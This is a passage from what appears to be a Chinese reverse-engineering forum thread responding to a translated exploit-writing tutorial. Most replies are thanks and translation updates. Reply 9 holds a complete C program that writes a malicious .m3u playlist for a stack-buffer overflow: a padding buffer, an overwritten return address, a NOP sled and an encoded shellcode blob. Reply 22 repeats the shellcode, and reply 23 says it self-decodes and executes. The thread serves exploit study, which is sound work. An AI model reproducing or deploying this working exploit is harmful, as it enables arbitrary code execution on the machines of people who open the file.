能力值:
( LV17,RANK:1820 )
|
-
-
3 楼
终于出来了,第二篇目前我正在翻译中,希望有更多的兄弟加入这项翻译工作中来!
|
能力值:
( LV17,RANK:1820 )
|
-
-
4 楼
yi……怎么没加精呢,上万字哟
|
能力值:
( LV2,RANK:10 )
|
-
-
5 楼
一定要精呀
|
能力值:
(RANK:350 )
|
-
-
6 楼
辛苦辛苦~~
|
能力值:
( LV17,RANK:1820 )
|
-
-
7 楼
第二篇目前翻译了七千多字,还在翻译中……
|
能力值:
( LV2,RANK:10 )
|
-
-
8 楼
thanks
|
能力值:
( LV13,RANK:350 )
|
-
-
9 楼
我跟了下程序的溢出情况,下面的是关键信息,有兴趣的朋友可以详细分析下:
00E58D93 F3:A5 rep movs dword ptr es:[edi], dword p> ;这里导致溢出
0041E9E6 |. 81C4 18890000 add esp, 8918
0041E9EC \. C2 0400 retn 4 ;这里覆盖EIP
文中的创建m3u用的perl脚本 我不会 我用C写做测试 贴上来做参考 呵呵:
#include <windows.h>
#pragma comment(linker,"/subsystem:windows")
char Buffer[26094]={0}; DWORD eip=0x73d92ecf; //覆盖返回地址 DWORD param1=0x90909090; //覆盖retn 4 被栈平衡的参数 char nops[25]={0}; char shellcode[]= "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" "\x7f\xe8\x7b\xca";
int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd ) { HANDLE hFile; DWORD temp; hFile=CreateFile("crash.m3u",GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); memset(Buffer,'A',26094); memset(nops,0x90,25); WriteFile(hFile,Buffer,26094-31-8,&temp,NULL); WriteFile(hFile,&eip,4,&temp,NULL); WriteFile(hFile,¶m1,4,&temp,NULL); WriteFile(hFile,nops,25,&temp,NULL); WriteFile(hFile,shellcode,sizeof(shellcode),&temp,NULL); CloseHandle(hFile); MessageBox(NULL,"Done","Info",0); return 0; }
|
能力值:
( LV17,RANK:1820 )
|
-
-
10 楼
膜拜moonife,我还想等第二篇翻译完了,也分析一下,结果被你抢先了!建议把软件也传上来吧,呵呵…
|
能力值:
( LV5,RANK:60 )
|
-
-
11 楼
支持楼主
期待更精彩的文章
|
能力值:
( LV3,RANK:20 )
|
-
-
12 楼
非常的期待啊,呵呵
|
能力值:
(RANK:350 )
|
-
-
13 楼
今天才看到,经典,学习了。
|
能力值:
(RANK:550 )
|
-
-
14 楼
|
能力值:
( LV17,RANK:1820 )
|
-
-
15 楼
感谢hawking版主大人分享,哈哈……
|
能力值:
( LV2,RANK:10 )
|
-
-
16 楼
不错不错。支持!!!
|
能力值:
( LV2,RANK:10 )
|
-
-
17 楼
你是只感谢没有下载。。。。。。。
|
能力值:
( LV2,RANK:16 )
|
-
-
18 楼
支持楼主。。。
等待下一步成果
|
能力值:
( LV8,RANK:130 )
|
-
-
19 楼
moonife,你太强悍了,原来你一直忙着翻译这个哈,牛,我也想翻哈。
|
能力值:
(RANK:10 )
|
-
-
20 楼
“这里我们用WinDbg,按照WinDbg(完全安装)和用“windbg -I”注册它为一个“post-mortem”
调试器”
post-mortem debugger 就是即时调试器的意思
|
能力值:
( LV13,RANK:350 )
|
-
-
21 楼
恩 感谢小天狼星指出
“安装”打成“按照”了
|
能力值:
( LV2,RANK:10 )
|
-
-
22 楼
"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" 这是加密的代码吗
|
能力值:
( LV13,RANK:350 )
|
-
-
23 楼
这个是可以执行,一般用于测试的shellcode
被加密过了,开头部分开始自解码的
你可以拉人OD跟下
|
能力值:
( LV7,RANK:100 )
|
-
-
24 楼
刚在moonife兄的blog里才看到!
我收藏了哈!
|
能力值:
( LV2,RANK:10 )
|
-
-
25 楼
刚看到,收藏了,辛苦
|
|
|